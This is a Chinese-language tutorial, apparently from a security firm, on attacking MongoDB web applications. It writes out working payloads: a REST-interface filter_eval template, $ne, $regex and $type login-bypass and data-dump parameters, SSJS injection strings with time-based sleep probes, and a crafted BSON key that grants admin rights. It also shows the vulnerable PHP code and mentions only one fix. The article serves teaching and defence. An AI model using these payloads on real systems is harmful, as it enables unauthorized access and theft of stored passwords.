开发人员如今在越来越多地使用NoSQL数据库来应对各种应用。与SQL注入相比,NoSQL攻击方法知之甚少,不太常见。本文重点介绍针对于NoSQL数据库的攻击,通过MongoDB漏洞攻击Web应用程序。

初识 MongoDB

在介绍 MongoDB 漏洞之前,我们应该先了解这个数据库。在各大知名的web项目中都有应用 NoSQL 数据库,其中 MongoDB 是时下最流行的NoSQL数据库。此外,Microsoft 在其云平台 Azure 上提供 MongoDB 数据库,这说明该数据库很快将被应用于企业软件。

简而言之,MongoDB 是一个非常高性能(它的主要优点),可扩展(如果需要,可以在几个服务器上轻松扩展)、开源(可以由大公司调整)的 NoSQL 数据库。MongoDB 拥有属于自己的请求语言,但不支持关系型SQL语言的请求。MongoDB是典型的key-value数据库,没有table概念。

下载MongoDB安装工具包,可以看到两个可执行文件:Mongo和mongod。 Mongod是数据库的server端主程序,用于存储数据并处理请求。而Mongo是一个用C ++和JS(V8)编写的官方客户端。

十分钟看懂MongoDB攻防实战

十分钟看懂MongoDB攻防实战

MongoDB的安装与使用

安装过程不再赘述,我们只关注更加有趣的部分。首先,我们来看一下REST接口。 它是一个Web界面,默认端口28017,可通过浏览器远程控制其数据库。使用这个DBMS选项,我们发现了几个漏洞:两个存储型XSS,未公开的SSJS(Server Side JavaScript,比如node.js)命令执行和多个CSRF漏洞。下图演示了这个REST界面:

十分钟看懂MongoDB攻防实战

我们将详细说明上述漏洞。这些字段客户端和日志有两个存储的XSS漏洞,这意味着使用HTML代码向数据库发出任何请求,这段代码将被写入到REST界面的页面的源代码中,并将在访问此页面的人的浏览器中执行。这些漏洞使以下攻击成为可能:

1.发送带有SCRIPT和JS地址的请求。

2.管理员在浏览器中打开Web界面,并在此浏览器中执行JS代码。

3.通过JSONP脚本从远程服务器请求执行命令。

4.脚本使用参数未验证的SSJS代码执行命令。

5.结果发送到我们的远程主机,写入日志。

十分钟看懂MongoDB攻防实战

至于参数未验证的ssjs远程代码执行,我们已经写了一个模板,可以根据需要进行修改。

http://vuln-host:28017/admin/$cmd/?filter_eval=function(){re- turn db.version() }&limit=1

$ cmd在这个例子中是一个可以自定义的空函数,大家知道了吗?:)

十分钟看懂MongoDB攻防实战

玩转MongoDB驱动

假设有一个搭建好的Apache+PHP+MongoDB的web服务器和一个有漏洞的PHP脚本。

这个脚本的主要片段如下:

$q = array(“name” => $_GET['login'], “password” => $_ GET['password']);

$cursor = $collection->findOne($q);

当数据被接收时,该脚本向MongoDB数据库发出请求。如果输入的用户密码正确,那么它会接收,并输出用户的数据。看起来如下:


echo 'Name: ' . $cursor['name'];

echo 'Password: ' . $cursor['password'];

假设已经发送了以下参数(True):

?login=admin&password=pa77w0rd

那么对数据库的请求将如下所示:

db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})

由于数据库包含密码为pa77w0rd的用户管理员,所以此时数据库响应为True;如果使用其他名称或密码,那么响应将不会返回(False)。

除了语法的差异,MongoDB和其他数据库大致相同。因此,admin账户的信息需要隐藏起来,我们将输出信息中关于admin的数据筛选掉:

db.items.find({"name" :{$ne : "admin"}})

我想你已经有了如何欺骗这个登录验证的想法。我们从理论到实践。首先创建一个请求,这个请求将符合以下条件:密码不是1,用户是admin。

db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})

有关上述帐户的信息作为回应:


{

"_id" : ObjectId("4fda5559e5afdc4e22000000"), "name" : "admin",

"password" : "pa77w0rd"

}

在PHP中将如下所示:

$q = array("name" => "admin", "password" => array("\$ne" => "1"));

只需要将密码变量声明为一个数组:

?login=admin&password[$ne]=1

因此,输出admin数据(True)。 这个问题可以通过函数is_array()将输入参数转变为字符串类型来解决。

注意正则表达式可以并且应该用在诸如findOne()和find()这样的函数中。使用的例子:

db.items.find({name: {$regex: "^y"}})

该请求将找到以字母y开头的用户。 假设在脚本中使用了对数据库的以下请求:

$cursor1=$collection->find(array("login"=>$user, "pass" => $pass));

从数据库接收到的数据将以下面的结构显示在页面上:


echo 'id: '. $obj2['id'] .'<br>login: '.  $obj2['login']

.'<br>pass: '. $obj2['pass'] . '<br>';

正则表达式可以帮助我们收集到我们想要的所有数据 ,我们所要做的仅仅是将收集到信息转换为脚本所需要的数据类型:

?login[$regex]=^&password[$regex]=^

我们将收到以下回复:


id: 1

login: Admin 

pass: parol 

id: 4

login: user2 

pass: godloveman 

id: 5

login: user3 

pass: thepolice=

此外还有另一种方法来利用该漏洞:

?login[$not][$type]=1&password[$not][$type]=1

在这种情况下输出如下:


login: Admin 

pass: parol 

id: 4

login: user2 

pass: godloveman 

id: 5

login: user3 

pass: thepolice

该算法适用于find()和findOne()。

SSJS请求注入漏洞分析

如果MongoDB和PHP一起使用,存在一个与服务器发出的SSJS请求有关的典型漏洞。

假设我们有一段存在漏洞的代码,它将用户数据注册到数据库中,然后在操作过程中输出某些字段的值。 类似于留言簿的功能。

代码如下所示:

$q = "function() { var loginn = '$login'; var passs = '$pass';          db.members.insert({id : 2, login : loginn, pass : passs});

一个重要的条件是变量$ pass和$ login直接从数组$ _GET获取,并且不对$ _GET获取的信息进行过滤:


$login = $_GET['login'];

$pass = $_GET['password'];

以下是执行此请求并从数据库输出数据的代码:


$db->execute($q);

$cursor1 = $collection->find(array("id" => 2)); foreach($cursor1 as $obj2){

echo "Your login:".$obj2['login'];

echo "<br>Your password:".$obj2['pass'];

}

测试脚本准备好了,接下来就是练习。 发送测试数据:

?login=user&password=password

接收以下数据作为回应:


Your login: user

Your password: password

我们试图利用这个漏洞,从最简单的引号开始:

?login=user&password=';

,SSJS代码由于出错而未被执行。但是,如果发送以下数据,所有内容都会发生变化:

/?login=user&password=1'; var a = '1

接下来将代码改写,使页面能显示代码的执行结果:

?login=user&password=1'; var loginn = db.version(); var b='

十分钟看懂MongoDB攻防实战

当执行上述代码后,JS代码变成了如下的形式:


$q = ?function() { var loginn = user; var passs = '1'

var loginn = db.version(); 

var b=''

db.members.insert({id : 2, log- in : loginn, pass : passs}); }?

现在我们可以通过这个漏洞来阅读数据库其他的记录:

/?login=user&password= '; var loginn = tojson(db.members. find()[0]); var b='2

让我们来详细的了解一下:

1.  已知的函数结构可以用于重写变量并执行任意代码。

2.  tojson()函数有助于从数据库中获得完整的响应。 

3.  最重要的部分是db.members.find()[0],其中members是一个表,而find()是一个输出所有记录的函数。 结尾处的数组表示我们处理的记录数。 通过爆破结尾处数组的值,我们可以从数据库中收到记录。

当然,代码执行后可能会没有输出,这时我们需要基于时间的注入方法,这种技术利用服务器响应延迟来接收数据。 举一个例子:


?login=user&password=';

if(db.version()>"2")

{ sleep(10000); exit;} 

var loginn =1; 

var b='2

这个请求可以让我们知道数据库版本。 如果超过2(例如2.0.4),那么我们的代码将被执行,并且服务器会以延迟响应。

嗅探MongoDB

众所周知,MongoDB允许创建数据库的特殊用户。 有关数据库中用户的信息存储在表db.system.users中。

我们对上述表中用户名字段和密码字段感兴趣。 用户列包含user login,pwd – MD5 string?%login%:mongo:%password%?其中login和password包含用户的登录名,哈希值,密钥和密码。

十分钟看懂MongoDB攻防实战

所有数据都是未加密传输的,并且通过劫持数据包可以获取用户名和密码的特定数据。 在MongoDB服务器上认证时,需要劫持客户端发送的随机数,登录名和密钥。 包含以下形式的MD5字符串:

%nonce% + %login% + md5(%login% + ":mongo:" + %passwod%)。

编写软件自动劫持数据并不困难,但会暴力劫持登录名和密码的后果却十分严重。

BSON数据的漏洞分析

现在让我们来研究一下基于BSON格式数据的漏洞。

BSON(二进制JavaScript对象符号)是一种主要用作存储各种数据(Bool,int,string等)的计算机数据交换格式。 现假设存在一个有两条记录的表:


> db.test.find({})

{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" :

"admin", "isadmin" : true }

{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }

还有一个参数存在注入点的数据库请求:

>db.test.insert({ "name" : "noadmin2", "isadmin" : false})

只需将设计好的BSON对象插入列名称即可:

>db.test.insert({"name\x16\x00\x08isadmin\x00\x01\x00\ x00\x00\x00\x00" : "noadmin2", "isadmin" : false})

isadmin 之前 0×08 指定了数据类型为布尔值,0×01将对象值设置为true,而不是默认分配。 

现在看看表中有什么:


> db.test.find({})

{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }

{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }

{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }

Isadmin的false已经变成了true!

十分钟看懂MongoDB攻防实战

十分钟看懂MongoDB攻防实战十分钟看懂MongoDB攻防实战

在现实生活中可能会遇到上述的攻击和漏洞,我们不仅应该考虑在MongoDB中运行的安全代码,还要考虑DBMS本身的漏洞。希望通过本文的介绍能让大家了解到NoSQL数据库也不是安全无忧的数据库。

*本文作者:杭州美创科技